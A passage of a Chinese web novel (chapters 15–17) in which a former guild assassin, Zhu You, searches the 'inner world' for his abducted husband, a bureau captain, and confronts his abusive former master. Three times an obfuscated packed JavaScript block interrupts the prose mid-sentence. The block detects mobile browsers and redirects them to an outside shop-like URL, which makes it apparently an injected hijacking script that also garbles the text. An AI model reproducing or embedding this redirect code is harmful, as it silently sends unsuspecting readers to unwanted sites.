“哦,”段飞云没放心上,继续道,“总部花大价钱培养污染者,肯定不会松口,好像就打起来了呗,具体的我也不太清楚,最近被盯得太严,都没时间打听消息……” 竹幽越听眉头皱得越深。 公会不会轻易放人,这一点很容易理解,但是韩敬深忽然提出退出公会的理由,他想不明白。 将疑问讲给段飞云听,对方也用力一拍大腿:“是吧,我也不理解。” “虽然干咱们这行的有点生命危险吧,但多挣钱啊,会长天天倒卖源质估计都赚死了,怕是连房车都是金子做的,指甲缝随便漏点够咱俩花三辈子的……” “……”倒也不比如此夸张。 “等一下”竹幽抬手,准确抓到段飞云话语里的漏洞,正色道,“公会倒卖源质,给谁?” 段飞云语气悻悻,小心翼翼看了一眼竹幽的神色:“啊?你不知道啊……” 竹幽:“……我应该知道吗?” 他虽然加入污染者公会挺长时间,但大部分时间只与段飞云来往,接任务也只靠通讯设备和神秘口罩男。 对于公会的内情,了解的并不多。 至于倒卖源质的相关事宜,就更加模糊。 段飞云眼神飘忽:“达官显贵,名流政客呗,反正他们上流圈一直流传着这样的消息,说吸收源质能改善身体什么的。” “这样……”竹幽陷入思考,忽的想起了什么,“这种事情,管理局知道吗?” 段飞云连连摆手:“这种暗度陈仓的事情……你可千万别往外说啊!” 竹幽想起了自己在管理局工作的老公:“……” 段飞云:“被他们知道就完蛋了,整个名流圈都要大洗牌。” 竹幽顿了两秒:“有这么严重吗?” 段飞云用力点头:“严重!” 竹幽按了按太阳穴,声音有些无可奈何:“行,我知道了……” 段家是海湾市首富,按理来说应该也参与了某些交易,所以段飞云才会如此紧张。 一边是交往多年的朋友,一边是情意深重的爱人。 说出去,竹幽着实谴责自己,不说吧,良心上又过不去。 事态怎么会变成这样…… 15. 暗流起 【015】 名流政客和高官勾结,狼狈为奸,这件事说出去也正常。 但高层势力为何会将目光放在污染物上面? 空间裂缝出现百年,竹幽今年二十五岁,对此知之甚少。 加入污染者公会实属无奈之举,后来认识叶弦,才堪堪将生活调整到和正常人差不多。 只是没想到,阴差阳错之下,还是产生了这么大的误会…… 早知如此,得知叶弦在管理局上班之后,他就该为退出公会做准备。 思绪翩飞,竹幽看向段飞云:“韩敬深要离开公会,他成功了吗?” “这我就不知道了,”段飞云尴尬地笑了笑,继续说,“谁知道他怎么想的……” “要是我也走呢?” 竹幽突然这样说。 “什么??”段飞云瞪大眼睛看着他,伸手在他眼前晃了几下,“你咋了,受什么刺激了??” 最近公会风水这么差,连着要走两个人。 竹幽微微叹了口气,像是话里有话:“没事,说别的吧。” “就知道你在吓我……”段飞云悬着的心顿时放了回去,“是工作的事吧,走后门挺简单的,我们家公司很多,你看上哪一家直接去投就是了,我到时候联系一下他们就行。” 竹幽点点头。 不知道为什么,叶弦最近又开始在他面前说找工作的事。 一直当无业游民影响确实不好,干脆直接找段飞云走个后门。 “哦对了,我们公司最低要求本科学历,你要是没到的话,就只能去安排看大门了。” 段飞云忽然贱兮兮地开口。 竹幽:“……” 段飞云:“不会吧不会吧,你没有读到本科吗?” 竹幽:“……闭嘴行吗。” 家境贫寒,竹幽连自己的父母都没见过,从小在社会福利院长大的。 稍微长大一点就加入了污染者公会。 公会里有教他杀人的,有教他怎么处理尸体和鲜血的,就是没人告诉竹幽,要好好上学,以免出社会了没有学历找不到工作。 听到这里,段飞云乐得不行:“哈哈哈,原来你也有今天……” 平时做任务的时候,竹幽表现得这么冷静,风头全让他出了,段飞云半分都抢不到。 他是真没想到竹幽能在这方面吃瘪。 出租屋一时间满是段飞云的笑声,竹幽则满脸无奈。 想了想,他无所谓道:“工作不分高低贵贱,看大门也行,记得给我交五险一金。” 段飞云顿时不笑了,他看着竹幽,眼睛里浮现两个大大的问号:“?” “不是,你真要去当保安?” 一点也不挑? 竹幽欣然点头:“嗯,就先这样安排。” 反正先把叶弦糊弄过去再说。 当保安这活说出去也比专业杀手好听。 在污染者公会接活……这工作说出去确实不太体面。 段飞云:“……行吧。” 是他看不懂竹幽了。 - 段飞云行动迅速,竹幽隔天上午就上岗了。 临走的时候,为了证明自己真的找到了工作,还慢吞吞地拿起工作牌,让叶弦挂在自己脖子上。 叶弦忍着笑读着工作牌上面的字:“保安,竹幽。” “工作不错,怎么找到的。” 竹幽狐疑地看了他一眼,装模作样地说:“才华。” 一个保安的工作还要走后门,这种事情怎么能说出去。 竹幽自诩也是好面子的。 叶弦附和道:“确实,我老婆才华横溢。” 竹幽脸上一热,心虚地舔了下嘴巴:“我现在有了正式工作,你就不要再催了,之前半夜起来是个意外……” 说到这里,竹幽心一横,干脆开始睁眼说瞎话:“可能是梦游也说不定。” 不曾想叶弦眼也不眨,接着他的话继续道:“那天的事情我也有点忘记了,老婆说什么就是什么吧。” “以后睡觉之前把大门锁起来就行。” 竹幽:“……” 叶弦今天莫名的好说话。 可是为什么感觉这么怪呢? 怪在哪也不好说,反正就是不正常得很。 “好了,去上班吧。” 叶弦捏了一把竹幽的脸,笑眯眯的:“今晚回家庆祝老婆找到新工作。” 不好再说什么,两人就这样各自开了一辆车,背道而驰。 - 竹幽今天第五次低头看向手机。 和叶弦的对话框空荡荡的,他很不适应。 主动发的消息也没回。 手指敲敲打打:今、天、怎…… 还没发出去,一道电话忽然打了过来。 是陌生号码。 海湾市的。 竹幽等了两秒,皱眉接起了电话。 对面说话的人正在喘气,听起来很急,噪声特别大:“喂,你好,请问是竹幽先生吗?” 竹幽眉心一跳,心中产生一股不好的预感:“嗯,你说。” “竹先生你好,我们是深渊管理局的,叶队长今天在执行任务时失联,定位器也找不到他,队长设置的紧急联系人是您,所以来通知……” 剩下的对面说了什么,竹幽都没太在意了。 他唯一听见的就是叶弦失踪的消息。 好端端的怎么会无故消失? 被绑架了还是遇到危险了? “知道了,”他声音冷静,迅速收拾好东西,“我现在就去管理局一趟。” “啊,好,好的,麻烦您了。” 杜嘉许顿了一下,像是没想到他能这么利落得赶过去,安慰道:“竹先生您放心,虽然现在找不到队长的行踪,但体内植入的芯片显示队长还有生命迹象,没有出事……” “嗯,挂了。” 竹幽拿起车钥匙,招呼都没打一声便离开了保安室。 旁边有年轻人瞪大眼睛,有点摸不着头脑:“哇这人到底谁啊,不到下班时间直接旷工,这么狂?” - 竹幽的车子开得飞快。 幸好还没到下班时间,路上显得空旷。 原本需要一个小时的车程被他缩短到四十分钟。 深渊管理局的位置不是秘密,他之前等叶弦下班的时候去过,路线已经熟记于心。 没想到第一次进去竟然是在叶弦失踪的情况下…… 当真是世事无常。 管理局门口比竹幽想象得要热闹。 这里围了不少人,有的身穿防护服,有的则是满脸无奈正在急忙解释。 竹幽把车停到路边。 抬眼却看见了另一辆更加熟悉的车子,是叶弦平时喜欢开的越野车。 没想到现在车子还在,人不见了。 竹幽靠近人群,逐渐能够听见他们的争执。 “局长,这就是之前发生的情况,执法记录仪的记录都在。” “我已经通知队长的家属了,他说很快会来的……” 说话的年轻人看起来满脸疲惫,精神不济。 对面的老局长也心事重重的样子,他点了点头:“嗯,到时候人来了你先安慰好对方,千万要做好本职工作……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305314|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明白的局长。” “借过一下。”竹幽神色冷淡,压低声音看向前面的路人。 他声线实在特别,加上身材高挑,眉清目秀,以前从来没在管理局出现过,使得不少人都投来目光。 有不明事理的安保人员拦住竹幽:“你好,闲杂人等不能进来。” 竹幽停下脚步,不再说话,而是淡定地看向某个具体方向。 杜嘉许接触到竹幽的目光后浑身僵了一下,莫名感觉头顶发凉,本着某些生物本能,他走到竹幽面前:“请问您是……” “竹幽。” 叶弦的紧急联系人。 “不好意思,原来是竹先生,您这边请……”压下心里的震惊,杜嘉许稳妥将人请进了局子。 ——他实在没想到竹幽能来得这么快。 “直接说结果吧。” 婉拒了对方递来的水果和茶水,竹幽目光缓缓扫过每一个人,记住他们的样貌:“当时具体是什么情况,能说吗?” “我……” “竹先生,对于队长的失踪,我们感到十分抱歉。” 拦住想要开口说话的杜嘉许,陈三清主动站到前面认错:“今天是在执行勘测任务,队长和我们分了两个方向,期间一直保持联系,但随后在汇合的时候,周围忽然失去了信号。” “包括电话定位器之类通讯设备全部失去作用,队长和我们就此失去联系,最后进行地毯式的搜寻也没有找到相关线索。” 陈三清将整个事件娓娓道来,竹幽在旁边听着,没有发表任何看法。 他没有想其他家属一样,选择哭闹等手段,而是一个人静静的坐在椅子上,看起来安静极了。 看起来是个讲道理的人。 陈三清在心底悄悄的呼出一口气。 希望这位先生能够配合他们的调查工作,早日找到队长…… “说完了?” 竹幽道。 “什么……啊,是的,目前的情况就是这样。” “好,”竹幽从椅子上站起来,他没有看向陈三清,目光直接转向旁边静坐的老局长,直言不讳道,“直接去污染者公会找吧。” 能够神不知鬼不觉的带走叶弦,并让一切电子设备失去信号,这种事情只有公会的人能做到。 竹幽没想到这群人会盯上叶弦。 仇杀?还是另有目的? 自己和叶弦的关系并未暴露,竹幽也不常出现在公会,通过自己找到叶弦的可能性并不大。 公会的人向来对源质趋之若鹜,单纯杀人的活不多。 这次绑走叶弦,难道也是为了源质? 想到这里,竹幽的眉头再次紧紧皱起来,他没有理会身边人投向他的惊讶目光,再次发言道:“最好带上等级高的源质。” 如果可以通过源质交换叶弦,那是最好不过的。 杜嘉许看向竹幽的眼神已经满是惊讶。 在他的心目中,竹幽只是一个普通人,叶弦和他们平时工作都会签订保密协议,不会让伴侣知道污染物相关的事宜。 现在竹幽不仅知道污染者公会,还直言让他们局长带着源质去交接?? 普通人遇到这种事情会这样冷静吗? 竹幽真的是普通人吗,他们队长到底娶了个什么样的人回家。 竹幽语气平淡,老局长看向他的目光却忽然变得锐利起来。 “虽然不知道这位先生是如何知晓源质等保密信息的,但恕我无能,管理局缴获的源质都已经进行密封保存,我们没有权限带走。” “就算真的是污染者公会的人带走了叶弦,我们也不能用源质去交换。” 16. 暗流起 【016】 听到老局长这么说,竹幽的脸色也没有任何变化。 他神色依旧:“队长无故失踪,身为领导却不作为,原来管理局内部已经变得腐朽至此。” “源质难道比人命还要重要?” 话毕,众人的脸色瞬间变得铁青。 陈三清和杜嘉许互相对视一眼,均看出了对方眼里的凝重。 老局长更是从椅子上站了起来,语重心长地看向竹幽,道:“年轻人,你对叶弦的担忧我们能理解,但这不是你随意抹黑管理局形象的借口。” “深渊管理局的运行结构如此,只有中央政府能够调动,我们别无他法。” “叶队长的行踪,我们会尽力寻找,有消息我们会第一时间通知你的。” 竹幽点点头:“这样。” “那就,不劳你们费心了。” 说完便转身离去。 最后一句话说得很轻,老局长听力不好,询问身边的陈三清道:“他刚才最后一句说什么了?” 毕竟竹幽现在的状态看起来不是特别稳定,如果就这样放任对方离开,说不定会出什么问题。 叶弦归期不定,他们至少要保证家属的安全。 只不过没有人会想到,竹幽的性格会如此倔强。 说走就走,完全不给他们解释通融的机会。 在看不懂的外人眼里,可能会觉得,叶弦对于竹幽来说,可能并没有那么重要。 不然怎么会这么快就离开。 也没有大吵大闹,全程冷静得不像话。 陈三清看向竹幽离开的方向,确定人已经开车走了之后才凝重开口。 “他说,不劳你们费心,这是什么意思?” 总不可能要自己去找人吧。 如果真的是这样的话,这位竹先生未免也太不知道天高地厚。 虽然不明白竹幽是怎么知道污染者公会的,但是仅知道消息还远远不够。 到时候说不定不仅找不到叶弦,甚至连竹幽都可能遭遇危险。 普通人这样做只会增加他们的工作难度。 在这个关键时间点,为了保证家属的身心安全,陈三清刚才应该喊住竹幽,并限制对方的活动。 但是不知道为什么,看到竹幽平静的眼神,他忽然失去了这么做的想法。 他忽然明白了,叶弦以前经常说的,他和别人不一样,到底是一种什么样的感觉。 久闻大名,今天终于得以见面。 竹幽,确实很不一样。 - 从管理局出来以后,竹幽径直回到了以前的出租屋。 熟悉的巷子和老头。 “这次看上去似乎不高兴?”看到他回来,老头咧了咧嘴,露出参差不齐的牙齿。 竹幽走路的脚步一顿:“有事?” 他赶时间,得回趟“老家”。 老头摇了摇头,再次看了一眼竹幽:“煞气冲天,这是谁又招惹你了?” “依我看……你这次出门,得沾染人命,注意安全呐,人死了可就活不成了……” 人死了当然活不成。 没有谁会有第二次生命。 竹幽觉得老头说了句废话,因此他没有理会对方,迅速地消失在了巷子中。 老头在原地剔牙,吐出上一顿吃的韭菜叶子,浑浊的目光似有一刻清明。 - 说是回老家,其实在某种程度上来说,也是对的。 毕竟公会确实收留了竹幽很多年。 也给了他住处。 但现在竹幽已经脱离公会很多年了,久到甚至连路都快要记不清楚。 海湾市是个繁华的城市,经济高度发达,社会秩序安稳,是个落脚的好地方。 也是脱离里世界之后来到的第一个城市。 也是在这个时候,他遇到了叶弦,那是段值得怀念的日子。 值得用一生来歌颂。 - 车子顺着道路一直往前开,一开始还有高楼大厦,后面只剩下矮小的平房。 再到后面连房子都没有了,只剩下一望无际的荒原。 路逐渐变得不平坦,岩石遍布,车子开得快一点就晃动得厉害。 竹幽眉心的印记越来越重,他有些不耐烦地踩下刹车,打开抽屉却看到了叶弦遗留在角落的半包烟。 这是什么时候的? 他有些记不清了。 两人平常都不是爱抽烟的,只是遇到烦心事会来上一支。 大多数时间只是点着,放在手里任其自燃。 燃尽之后,叶弦会坏心眼凑过来吻他。 “咔嚓。” 放置太长时间,烟丝变得有些潮,竹幽点了两三次才点着。 精致的脸被笼罩在薄薄的烟雾中,逐渐看不清。 拉下车窗,有风逐渐吹了进来。 竹幽的目光落在前方。 那里有着红色的条幅——“前方危险,请勿靠近。” 是管理局贴的告示牌。 每个空间裂缝出现,管理局便会加派人手,及时做出相应警示。 裂缝连接着里世界,有的裂缝是死的,不会出现污染物,有的裂缝很活跃,被管理局严格监管着。 竹幽曾经看过一则新闻,说是曾经有人想不开自杀,主动进入了裂缝。 后来没有人见过他出来。 有人说,他失去理智,变成了污染物。 也有人说,他在另一个世界获得了重生。 众说纷纭,真相随着时间被掩盖,人们也逐渐对裂缝失去了兴趣。 除非想不开找死,不然没有谁会主动靠近这些裂缝。 手指传来轻微痛觉,原来是烟烧到了手指。 竹幽阖眼,面不改色用手指掐灭了烟蒂,低笑了一声,视旁边的警告牌若无物,踩下油门,继续向前开去。 空间裂缝…… 他确实,也很好奇自己的“老家”。 - 叶弦的意识是被某种不明生物嘶哑的叫声唤醒的。 意识首先回到身体中,他没有贸然睁开眼,而是安静地保持原有姿势不动,接收现有信息。 应该是坐在椅子上的,双手自由没有被捆起来,周围的空气很潮湿,似乎还有某种不明生物的脚步声…… “啪叽,啪叽……” 逐渐靠近了…… 叶弦绷紧全身的肌肉—— “啪叽,啪叽……”越来越近了。 叶弦心中的疑惑更甚:人能发出这种奇怪的脚步声吗? 到底是个什么东西? “嘶溜~” 脸上传来黏腻的触感,湿漉漉的。 叶弦觉得自己快要恶心死了,啧了一声,终于受不了睁开眼睛。 绑架就绑架,怎么能用这么恶心的东西来试探他呢? 未免也太不尊重人了。 他把黏在自己脸上的东西扒了下来,下一秒,叶弦诧异得扬了扬眉。 居然是一只污染物。 小玩意长得丑,浑身是暗红色的,整体呈现球状,只有一只眼睛和一个嘴巴。 哦,对了,还有两个翅膀,正扑腾扇动,被叶弦抓住了捏在手里。 逃脱无果,污染物开始卖萌,用唯有的一只眼睛眨啊眨,一动不动地看着叶弦。 叶弦和它三目相对:“……” 下一秒,男人随手将它扔到一边,顺便拍了拍自己的手。 “什么丑东西……” 居然敢舔他的脸。 小球摔在一边,半天没能飞起来。 叶弦开始观察周围的环境,这似乎是一个密闭的房间,十五平米左右,没有窗户,没有灯,但房间内却亮如白昼。 视线落在房间里唯一的门把手上面,叶弦顿了顿,毫不迟疑上前推门。 门开了,外面是—— 下一秒,叶弦重新回到房间中,并将地上的小球捡起来,质问道:“喂,醒醒。” 小球晃了晃,逐渐睁开眼睛。 叶弦声音严肃,指着门把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305315|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,问它:“这是里世界?” “其他人在哪?” “你会不会说话,哦,不对,应该问你,听不听得懂人话?” 小球被接二连三的问题砸得晕头转向,一会摇头,一会点头。 “蠢货。”叶弦淡淡点评。 这句话小球却听懂了,扇动了两下翅膀,对着面前不敬的人类张开大嘴,想要狠狠咬上一大口—— 下一秒又被叶弦踢到角落去了。 “……” 叶弦幽幽叹气,再次打开房门,朝外面看了一眼。 依旧雾气蒙蒙,什么都看不清。 虽然之前没有进来过,但叶弦有种强烈的预感——这里是里世界。 每个来到管理局上班的人员都会经历几个月的培训,确定拥有了强大的心理素质和身体强度才会被批准正式上岗。 关于里世界,叶弦其实知道的并不多。 很少有普通人进入到里面之后还能出来。 但事情总有例外。 管理局曾经有一位前辈进入到污染者公会卧底,得到大量情报。 “这位前辈说,里世界和表世界是完全不同的,里世界是现实世界的映射,它是混乱的,没有秩序的,看不清时间和空间的。” 想到入职培训中曾经听到的话,叶弦单手扶额,对现在的情况有了个基本的认识。 前辈确实说的没错,但是还不够充分。 比如,里世界不会让人感到饥饿,也不会让人产生困倦。 意识和身体似乎被停留在某个瞬间,不再随着时间而改变。 没有了时间的概念,叶弦就只能从醒来后在心中默数。 一天,两天…… 走出房门,离开房间,雾气中是无数个一模一样的房间,推开门,还是一样的陈设。 连角落里呼呼大睡的红色小球也一样。 看着它,叶弦忽然笑了声:“行了,别装了。” “费这么大力气抓我过来,污染者公会是想做什么?” 话毕,周围一片寂静,小球却好似感受到了什么,微微朝着角落蠕动了两下,用翅膀紧紧埋住脑袋。 紧接着,空气似乎微不可查地晃动了两下。 一道身影逐渐在房间里显现出来,同时伴随有尖锐刺耳的话语:“不愧是海湾市历任以来最年轻的队长,这么快就能识破。” 来者一袭黑色衣装,戴着个银色的面具看不清脸,整个人瘦得不正常。 他朝角落里吹了个口哨,刚还在伏地的小球马上满血复活,高兴地飞到此人的肩膀上。 叶弦沉默地看着对方。 “瞧,我怎么给搞忘了……自我介绍一下,鄙人公冶原,第一次见面,幸会。” 公冶原摘下面具,眉目含笑朝叶弦伸出手。 叶弦并未上前握手,嗤笑一声:“你戏真多。” 公冶原:“……” 污染者公会都是这样一群神经病吗? 整天有这种人在身边打转,难怪他爱人之前自闭不爱说话。 讲话神神经经,半天也说不到点子上。 还好竹幽已经换了个工作,不然迟早会被他们传染。 公冶原轻笑一声,接着说:“你很特别,有点像我之前见到的一个人。” 叶弦:“谢谢。” 公冶原噎了一下:“连拒绝的语气都很像呢……不问问公会为什么绑架你?” 叶弦面无表情地“哦”了一声:“没必要。” 无非就是他的存在触碰到了这群污染者的相关利益。 叶弦的语气平淡得像喝了一口白开水,让人毫无继续聊下去的欲望。 公冶原额角的青筋跳了跳,刚想说些什么,肩膀上的小球忽然靠近他的耳边,叽叽喳喳说了什么。 “哦?今天这么热闹,又有人来了?” “还是老朋友呢……” 公冶原自顾自说完,最后看向叶弦,嘴角一勾:“瞧,多巧啊,那位很像你的小朋友来了,不陪我去见见他吗?” 17. 暗流起 【017】 “局长,检测到西南方的空间裂缝有人靠近,需不需要派遣人手阻止?” 这边,深渊管理局内,一位内勤人员指着电脑汇报工作。 几个人头瞬间围了上来。 “什么人啊,这是想不开准备去送死了?” 杜嘉许摩挲了两下下巴,一脸不可思议。 “不清楚,他一直在靠近……从下午到现在。” 陈三清敏锐地抓住了重点:“下午?” 他如果没记错的话,竹幽是中午离开管理局的,时间刚好对得上…… 显然杜嘉许也意识到了问题的严重性:“不是吧,他真的去找队长了吗?裂缝里面是人是鬼我们都没进去过!” 况且,污染者公会在表世界也有据点,竹幽是怎么肯定叶弦一定被带到了里世界呢? 而且……最令他们没想到的是,竹幽居然真的去了…… 孤身一人。 他怎么敢的? 老局长在旁边沉默地看了半晌,还是放了话:“派人跟上他吧。” 不管竹幽是否真的会进入裂缝,作为公民,他们也不能放任不管。 这是管理局的责任。 - 竹幽站在空间裂缝前。 临近傍晚,风逐渐吹起来,带来些许凉意。 头发有些长了,被吹到面前,有些遮挡视线。 竹幽慢步向前,淡淡想着,等到叶弦回来,得让人帮自己剪一次头发。 好长时间不打理,乱糟糟的了。 说是裂缝,其实也不够形象,毕竟面前看起来空若无物。 只有一道隐隐约约的痕迹浮现在空气中,天黑之后就更加看不清楚。 看起来很安全,如果这里不是被包围了层层警戒线的话。 不再耽误时间,竹幽抬脚,刚准备踏进去—— “滴滴——” 身后传来喇叭声,伴随而来的还有阻止:“危险,别进去!” “叶队长的下落可以从长计议……” 又是他们。 竹幽有些烦躁地垂下脑袋,向前一跨步,瞬间消失在原地。 身后的车子停了下来,杜嘉许瞪大眼睛看向身边人:“他真的进去了??” 陈三清也有些难以置信,缓了好几秒才找到自己的声音:“应该,是的。” “我靠,万一队长不在里面怎么办?到时候我们怎么跟队长交代!” 杜嘉许双手捂着脸,有些心疼道:“队长特别喜欢他,你知不知道?” 叶弦婚假的那段时间,他们一催对方来上班,只能得到一种结果,就是陪老婆。 陈三清叹气:“就是知道才这么头疼……” 本来叶弦一个人失踪,说不定还能找回来,现在他们亲眼见到竹幽进入到空间裂缝,就算有十万个理由也不顶用了。 “先汇报情况吧。”陈三清拿出对讲机。 对面的老局长似乎早有预料:“我知道了,你们先观察情况,有不对的及时汇报。” “是。” - 里世界在某种程度上是表世界的映射。 也就是说,在这里发生的事情,极有可能也在现实生活中发生过。 踏入裂缝的一瞬间,竹幽眼前的景象就变了。 不再是漫天荒原,而变成了……小时候的福利院? 怎么会出现他记忆里的东西? 之前从来没有出现过这种情况。 青年皱着眉向前走,看到了福利院中的景象。 十几年前,这里的福利措施已经很完善了,至少能够保证大家吃得饱穿得暖。 但是医疗条件远远不够。 大部分孩子都是残疾的。 竹幽是个例外。 他拥有健全的四肢和身体,看起来就和正常的小孩一样。 但是在畸形的福利院中,这种“正常”就是最大的“不正常”。 残疾的小孩不愿意和他接触,他们嫉妒竹幽拥有正常的身体,会说话,能走路。 对于残疾的他们来说,竹幽才是那个“残疾人”。 久而久之,竹幽逐渐变得不爱说话,也不爱动了。 院长曾经想过让竹幽被领养出去,可由于种种原因,最后均未达成。 直到竹幽长大后主动离开。 离开的时候,其实竹幽才十五岁。 政府规定十八岁成年,那个时候才可以出去工作。 但竹幽还是坚定地离开了福利院。 他不是残疾人,有手有脚,可以养活自己。 他迟早要离开的,就算不走,也会被其他人同化成精神残疾。 所以他走了。 好在社会底层永远有灰色地带,竹幽遇到一个老头,凑合过了一段时间。 直到他遇到污染物。 那是一只低等污染物,有两个脑袋,三只眼睛,长得像狗却又不是狗,双眼通红地盯着竹幽看。 竹幽差一点死在它的嘴下。 是一颗小小的子弹救了他。 男人身形高大,整个人遮得看不清脸,嘴里骂骂咧咧的:“一条狗让我好追……” 说着说着,他看到了角落里颤抖的竹幽,顿时来了兴致:“呦,还看见个小狗。” 说完,男人缓缓举起手枪,对着竹幽的脑袋—— 竹幽双手捂着头,闭上眼睛,下一秒: “砰!”他笑眯眯的说,并未扣动扳机。 竹幽睁开眼睛,大着胆子问他:“你是谁?” 男人轻嗤一声,问他:“你又是谁。” 竹幽便不说话了。 “听说过污染者公会吗?”男人又道。 竹幽点头:“听过。”其实他没听过,只知道污染物。 “知道我们是干什么的吗?” “不知道,”竹幽摇摇头说,“我可以加入吗?” 在社会底层活着没意思,他想要像眼前的人一样,拿起枪,能随意掌控别人的命运。 男人笑了一声:“可以是可以,但我们公会不缺人,你要来,就只能做我的小狗。” 他蹲下身,端详了一番竹幽的样貌,语气轻飘飘的:“怎么样,答应吗?” - 小时候的经历再次重演,竹幽默不作声地看完这一切。 随后,眼前的浓雾散去,露出一张熟悉的脸,依旧是熟悉的语气:“呦,都来看看,这不是我带回来的小狗吗?” “怎么,几年不见,连人都不知道叫一声了。” 话音一落,周围竟然真的出现几声狗叫。 “汪汪汪!”一只浑身漆黑的污染物从男人的身后钻出来,它看起来已经完全没有了野性,正乖乖地对着男人吐舌头。 男人轻笑一声,乐呵呵地摸了一把污染物的头。 竹幽平静地看着他,叫出那个深埋在心底里的名字:“公冶怜。” 公冶怜双手交叠,轻轻鼓掌:“哈哈,不错,还记得我是谁。” “这几年翅膀确实是硬了,连家都不肯回了?” 竹幽轻呵一声:“怎么,又缺狗了?” 公冶怜平常一大乐趣就是收“狗”。 当然,这些狗并不是普通意义上的狗,而是那种忠心只为他一人服务的“忠犬”。 公冶怜享受这种被奉为“神明”的感觉,非常喜欢在外面捡一些走投无路的人来公会。 用对方的话来说,这叫做“捡流浪狗”,是在做好事,为社会减轻负担。 收狗……多好听的借口。 也只有竹幽见识过,一旦公冶怜收留的狗不听话了,违背他本人的意愿了,对方会用多么残忍的手段折磨“狗”。 至于是怎么见识的……竹幽眉头一皱,不愿再多想了。 “竹幽,我一直在等你回来,”到现在为止,公冶怜还是笑着的,“他们都没有你好用,你最趁手。” 胃里顿时翻江倒海,竹幽闭上眼睛,将头扭到一边:“公冶怜,你真恶心。” 跟着公冶怜加入污染者公会是竹幽这辈子最后悔的事情之一。 此人不把人当人,不把狗当狗。 替他生死卖命的下属被称作“小狗”,真正拥有狗外形的污染物又被他当做宠物,万分关爱。 当真是可笑的很。 被骂恶心的公冶怜却笑起来:“谢谢,很久没有人敢这么对我说实话了。” “果然,他们说的对,你最特别。” 不去想对方嘴里的“特别”指的是什么,竹幽把目光转移到别处:“我来找人。” “哦?”公冶怜好整以暇地坐在椅子上,有些好奇地问道,“你要找谁呢?” 竹幽眯起眼睛:“你明知故问。” 叶弦如果在这里的话,公冶怜不可能不知道。 污染者公会和深渊管理局作对也不是一天两天了,他有足够的把握在这里见到叶弦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305316|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好可惜,还以为你是特意来和我叙旧的……” 公冶怜耸了耸肩,语气轻快:“看来是我没这个福分。” 说罢,他踢了脚边的狗子一脚:“去,给我把公冶原叫过来。” 狗子朝他吐了吐舌头,使劲摇尾巴,蹭了蹭对方的膝盖,然后乖乖地跑远了。 公冶怜满脸享受着这个过程。 竹幽默不作声地看着这一切。 公冶原,公冶怜二人是亲兄弟,竹幽不知道他们进入公会多长时间了,但是兄弟二人的名声在外,都不是很好听。 简单点来说,就是两个神经病。 竹幽接触公冶怜更多,对于另外一个人,则没有那么熟悉。 希望叶弦不要遭遇什么危险。 不消半刻,污染狗就汪汪两声跑了回来。 公冶怜摸了一把狗头:“嗯?这么快?刚好介绍你们两个认识。” 说着,他的身后浮现一道透明的墙。 两道身形瞬间出现又消失不见,一个是看起来瘦得不正常,应该是公冶原。 另一个则是竹幽熟悉的叶弦。 看到对方的一瞬间,竹幽是惊喜的,随即很快掩饰住了目光。 可惜还是被公冶怜发现了。 他单手撑着下巴,眼神中划过一丝兴味:“原来,你们认识呀。” “是什么关系呢,竹幽,你能告诉我吗?” 公冶怜笑呵呵地看着他。 竹幽不置一词。 “不说也没关系,”公冶怜像条毒蛇一样,视线一寸一寸扫过他身上每一寸,最后落在手上——那里有一枚闪闪发亮的钻戒。 男人顿时来了兴致:“你结婚了?” 他看起来很兴奋,甚至直接从椅子上站了起来:“怎么不和我说呢,多伤主人的心,小狗有了自己的家庭,这是好事。” 竹幽的身体在一瞬间绷紧——他想对面前这个人出手。 而公冶怜只是围着他转了一圈,依旧是那副事不关己的态度,他说出一个事实:“没有源质,你打不过我。” “那位队长,是个普通人吧?可惜他的存在对我们产生了不少威胁,抓来可是废了我们不少力气……” “不惜万里追过来,他应该对你很重要,让我猜猜,你们是什么关系?” 公冶怜满脸戏谑,稀奇地看着竹幽:“可不要让我失望啊,竹幽。” 说完这句,周围忽然传来打斗声。 竹幽竖起耳朵,准确地辨别到声音具体传过来的方位。 是刚才叶弦和公冶原出现过的地方。 现在两个人打起来了? 周围一时间寂静得可怕,只有拳拳到肉和骨骼碰撞的声音。 竹幽想要向前冲,脚步却被公冶怜的狗咬住,死死钉在原地。 这小畜生……竹幽皱眉,干脆一脚将其踹开。 奈何解决了一个还有另一个,公冶怜拦住了竹幽的脚步,目光危险:“打狗还要看主人,我是不是,给你太多脸了……让你一回来竟然对主人不敬。” “咔嚓——” 骨骼断裂的声音响起,不知道是谁受伤。 竹幽眼里的烦躁愈发沉重,从口袋掏出手枪,干脆利落地扣动扳机—— 